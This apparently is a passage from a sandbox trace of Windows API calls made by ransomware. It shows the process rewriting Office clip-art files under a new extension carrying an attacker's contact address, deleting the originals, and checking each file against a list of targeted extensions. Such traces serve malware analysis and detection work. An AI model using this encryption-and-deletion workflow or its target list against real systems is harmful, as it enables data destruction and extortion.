	[0271.331] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099182.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0271.331] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099182.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0271.331] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0271.331] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0271.331] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099182.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0271.331] GetLastError () returned 0x0
	[0271.331] ReadFile (in: hFile=0x36c, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0xf00, lpOverlapped=0x0) returned 1
	[0271.333] WriteFile (in: hFile=0x328, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xf10, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xf10, lpOverlapped=0x0) returned 1
	[0271.334] ReadFile (in: hFile=0x36c, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0271.334] WriteFile (in: hFile=0x328, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0271.334] SetEndOfFile (hFile=0x328) returned 1
	[0271.334] CloseHandle (hObject=0x328) returned 1
	[0271.334] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0271.334] SetEndOfFile (hFile=0x36c) returned 1
	[0271.336] CloseHandle (hObject=0x36c) returned 1
	[0271.336] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0271.336] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099182.wmf")) returned 1
	[0271.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF") returned 63
	[0271.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF") returned 63
	[0271.336] lstrlenW (lpString=".doc") returned 4
	[0271.336] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0271.336] lstrlenW (lpString=".docx") returned 5
	[0271.337] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0271.337] lstrlenW (lpString=".pdf") returned 4
	[0271.337] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0271.337] lstrlenW (lpString=".xls") returned 4
	[0271.337] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0271.337] lstrlenW (lpString=".xlsx") returned 5
	[0271.337] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0271.337] lstrlenW (lpString=".ppt") returned 4
	[0271.337] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0271.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF") returned 63
	[0271.337] lstrlenW (lpString=".zip") returned 4
	[0271.337] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0271.337] lstrlenW (lpString=".rar") returned 4
	[0271.337] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0271.337] lstrlenW (lpString=".bz2") returned 4
	[0271.337] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0271.337] lstrlenW (lpString=".7z") returned 3
	[0271.337] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0271.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF") returned 63
	[0271.337] lstrlenW (lpString=".dbf") returned 4
	[0271.337] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0271.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF") returned 63
	[0271.337] lstrlenW (lpString=".1cd") returned 4
	[0271.337] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0271.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF") returned 63
	[0271.337] lstrlenW (lpString=".jpg") returned 4
	[0271.337] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0271.531] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=4946) returned 1
	[0271.531] CloseHandle (hObject=0x360) returned 1
	[0271.531] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099183.wmf")) returned 0x20
	[0271.537] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099183.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0271.539] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099183.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0271.546] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0271.546] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0271.546] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099183.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0271.546] GetLastError () returned 0x0
	[0271.546] ReadFile (in: hFile=0x36c, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x1352, lpOverlapped=0x0) returned 1
	[0271.569] WriteFile (in: hFile=0x328, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x1360, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0x1360, lpOverlapped=0x0) returned 1
	[0271.570] ReadFile (in: hFile=0x36c, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0271.570] WriteFile (in: hFile=0x328, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0271.570] SetEndOfFile (hFile=0x328) returned 1
	[0271.570] CloseHandle (hObject=0x328) returned 1
	[0271.570] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0271.570] SetEndOfFile (hFile=0x36c) returned 1
	[0271.572] CloseHandle (hObject=0x36c) returned 1
	[0271.572] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0271.572] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099183.wmf")) returned 1
	[0271.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF") returned 63
	[0271.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF") returned 63
	[0271.573] lstrlenW (lpString=".doc") returned 4
	[0271.573] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0271.573] lstrlenW (lpString=".docx") returned 5
	[0271.573] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1
	[0271.573] lstrlenW (lpString=".pdf") returned 4
	[0271.573] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0271.573] lstrlenW (lpString=".xls") returned 4
	[0271.573] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0271.573] lstrlenW (lpString=".xlsx") returned 5
	[0271.573] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1
	[0271.573] lstrlenW (lpString=".ppt") returned 4
	[0271.573] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0271.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF") returned 63
	[0271.573] lstrlenW (lpString=".zip") returned 4
	[0271.573] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0271.573] lstrlenW (lpString=".rar") returned 4
	[0271.573] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0271.573] lstrlenW (lpString=".bz2") returned 4
	[0271.573] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0271.573] lstrlenW (lpString=".7z") returned 3
	[0271.573] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0271.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF") returned 63
	[0271.573] lstrlenW (lpString=".dbf") returned 4
	[0271.573] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0271.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF") returned 63
	[0271.573] lstrlenW (lpString=".1cd") returned 4
	[0271.574] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0271.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF") returned 63
	[0271.574] lstrlenW (lpString=".jpg") returned 4
	[0271.574] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0271.640] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0271.640] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0271.640] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099190.jpg.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218
	[0271.641] GetLastError () returned 0x0
	[0271.641] ReadFile (in: hFile=0x29c, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0xab74, lpOverlapped=0x0) returned 1
	[0271.689] WriteFile (in: hFile=0x218, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xab80, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xab80, lpOverlapped=0x0) returned 1
	[0271.690] ReadFile (in: hFile=0x29c, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0271.690] WriteFile (in: hFile=0x218, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0271.691] SetEndOfFile (hFile=0x218) returned 1
	[0271.691] CloseHandle (hObject=0x218) returned 1
	[0271.691] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0271.691] SetEndOfFile (hFile=0x29c) returned 1
	[0271.693] CloseHandle (hObject=0x29c) returned 1
	[0271.693] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0271.694] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099190.jpg")) returned 1
	[0271.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG") returned 63
	[0271.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG") returned 63
	[0271.694] lstrlenW (lpString=".doc") returned 4
	[0271.694] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0271.694] lstrlenW (lpString=".docx") returned 5
	[0271.694] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1
	[0271.694] lstrlenW (lpString=".pdf") returned 4
	[0271.694] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0271.694] lstrlenW (lpString=".xls") returned 4
	[0271.694] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0271.694] lstrlenW (lpString=".xlsx") returned 5
	[0271.694] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1
	[0271.694] lstrlenW (lpString=".ppt") returned 4
	[0271.694] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0271.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG") returned 63
	[0271.694] lstrlenW (lpString=".zip") returned 4
	[0271.694] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0271.694] lstrlenW (lpString=".rar") returned 4
	[0271.694] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0271.694] lstrlenW (lpString=".bz2") returned 4
	[0271.694] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0271.694] lstrlenW (lpString=".7z") returned 3
	[0271.694] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0271.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG") returned 63
	[0271.695] lstrlenW (lpString=".dbf") returned 4
	[0271.695] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0271.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG") returned 63
	[0271.695] lstrlenW (lpString=".1cd") returned 4
	[0271.695] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0271.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG") returned 63
	[0271.695] lstrlenW (lpString=".jpg") returned 4
	[0271.695] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0271.695] GetFileSizeEx (in: hFile=0x29c, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=10898) returned 1
	[0271.695] CloseHandle (hObject=0x29c) returned 1
	[0271.695] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099197.gif")) returned 0x20
	[0271.696] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099197.gif.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0271.696] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099197.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c
	[0271.696] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0271.696] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0271.696] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099197.gif.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218
	[0271.696] GetLastError () returned 0x0
	[0271.696] ReadFile (in: hFile=0x29c, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x2a92, lpOverlapped=0x0) returned 1
	[0271.698] WriteFile (in: hFile=0x218, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x2aa0, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0x2aa0, lpOverlapped=0x0) returned 1
	[0271.699] ReadFile (in: hFile=0x29c, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0271.699] WriteFile (in: hFile=0x218, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0271.699] SetEndOfFile (hFile=0x218) returned 1
	[0271.699] CloseHandle (hObject=0x218) returned 1
	[0271.699] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0271.699] SetEndOfFile (hFile=0x29c) returned 1
	[0271.701] CloseHandle (hObject=0x29c) returned 1
	[0271.701] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0271.701] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099197.gif")) returned 1
	[0271.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF") returned 63
	[0271.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF") returned 63
	[0271.702] lstrlenW (lpString=".doc") returned 4
	[0271.702] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0271.702] lstrlenW (lpString=".docx") returned 5
	[0271.702] lstrcmpiW (lpString1=".docx", lpString2="7.GIF") returned -1
	[0271.702] lstrlenW (lpString=".pdf") returned 4
	[0271.702] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0271.702] lstrlenW (lpString=".xls") returned 4
	[0271.702] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0271.702] lstrlenW (lpString=".xlsx") returned 5
	[0271.702] lstrcmpiW (lpString1=".xlsx", lpString2="7.GIF") returned -1
	[0271.702] lstrlenW (lpString=".ppt") returned 4
	[0271.702] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0271.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF") returned 63
	[0271.702] lstrlenW (lpString=".zip") returned 4
	[0271.702] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0271.702] lstrlenW (lpString=".rar") returned 4
	[0271.702] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0271.702] lstrlenW (lpString=".bz2") returned 4
	[0271.702] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0271.702] lstrlenW (lpString=".7z") returned 3
	[0271.702] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0271.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF") returned 63
	[0271.702] lstrlenW (lpString=".dbf") returned 4
	[0271.702] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0271.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF") returned 63
	[0271.702] lstrlenW (lpString=".1cd") returned 4
	[0271.702] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0271.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF") returned 63
	[0271.702] lstrlenW (lpString=".jpg") returned 4
	[0271.702] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0271.703] GetFileSizeEx (in: hFile=0x29c, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=5259) returned 1
	[0271.703] CloseHandle (hObject=0x29c) returned 1
	[0271.703] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099198.gif")) returned 0x20
	[0271.703] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099198.gif.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0271.703] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099198.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c
	[0271.703] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0271.703] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0271.703] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099198.gif.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218
	[0271.704] GetLastError () returned 0x0
	[0271.704] ReadFile (in: hFile=0x29c, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x148b, lpOverlapped=0x0) returned 1
	[0271.705] WriteFile (in: hFile=0x218, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x1490, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0x1490, lpOverlapped=0x0) returned 1
	[0271.706] ReadFile (in: hFile=0x29c, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0271.706] WriteFile (in: hFile=0x218, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0271.706] SetEndOfFile (hFile=0x218) returned 1
	[0271.706] CloseHandle (hObject=0x218) returned 1
	[0271.706] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0271.706] SetEndOfFile (hFile=0x29c) returned 1
	[0271.711] CloseHandle (hObject=0x29c) returned 1
	[0271.711] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0271.711] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099198.gif")) returned 1
	[0271.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF") returned 63
	[0271.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF") returned 63
	[0271.711] lstrlenW (lpString=".doc") returned 4
	[0271.711] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0271.711] lstrlenW (lpString=".docx") returned 5
